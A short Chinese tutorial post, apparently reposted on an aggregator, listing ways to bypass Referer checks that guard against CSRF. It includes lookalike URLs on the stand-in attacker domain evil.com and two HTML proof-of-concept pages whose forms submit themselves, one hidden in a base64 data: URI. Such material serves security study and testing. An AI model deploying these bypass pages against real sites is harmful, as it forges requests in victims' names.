绕过referer校验的一些小知识

Posted jinqi520

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了绕过referer校验的一些小知识相关的知识,希望对你有一定的参考价值。

对referer做校验一般是对csrf进行防范的手段之一,但是很多时候不经意间还会增加其他攻击的难度,如xss,jsonp劫持等等。

这里对referer的绕过做一个小的总结:
目标网站是:www.domain.com

攻击者的域名是:evil.com

 

1.使用子域名的方式绕过,如下:

http://domain.evil.com/

 

2.注册一个类似的域名,如下:
http://www.evildomain.com/

 

3.将域名以参数的形式接下url后面

http://www.evil.com/?http://www.domain.com

 

4.利用空referer

  1)利用ftp://,http://,https://,file://,javascript:,data:等伪协议进行跳转,如下

  <html>
        <body>
       <iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg==">
        </body>
      </html>

 

  2)添加<meta name="referrer" content="never">,poc如下

  <html>   

  <meta name="referrer" content="never">   

  <body>   

    <script>history.pushState(‘‘, ‘‘, ‘/‘)</script>     

    <form action="http://127.0.0.1/test.php">       

    <input type="submit" value="Submit request" />     

  </form>     

  <script>       document.forms[0].submit();     </script>   

  </body>

  </html>

  

  3)https跳到http时也没有referer

5.如果受信任的网站中可以添加链接,可以在受信任的网站上添加链接,但是不支持post的csrf

 

6.利用url跳转

 

7.结合受信任的网站的xss漏洞进行利用







以上是关于绕过referer校验的一些小知识的主要内容,如果未能解决你的问题,请参考以下文章

聊聊一些sql注入的零散知识点

有关python的一些小知识

数据库一些小知识

python安装过程中一些小知识点

拿不到想要的offer,只缘身在CV中,关于一些面试小知识

一些有意思的小知识(持续更新?)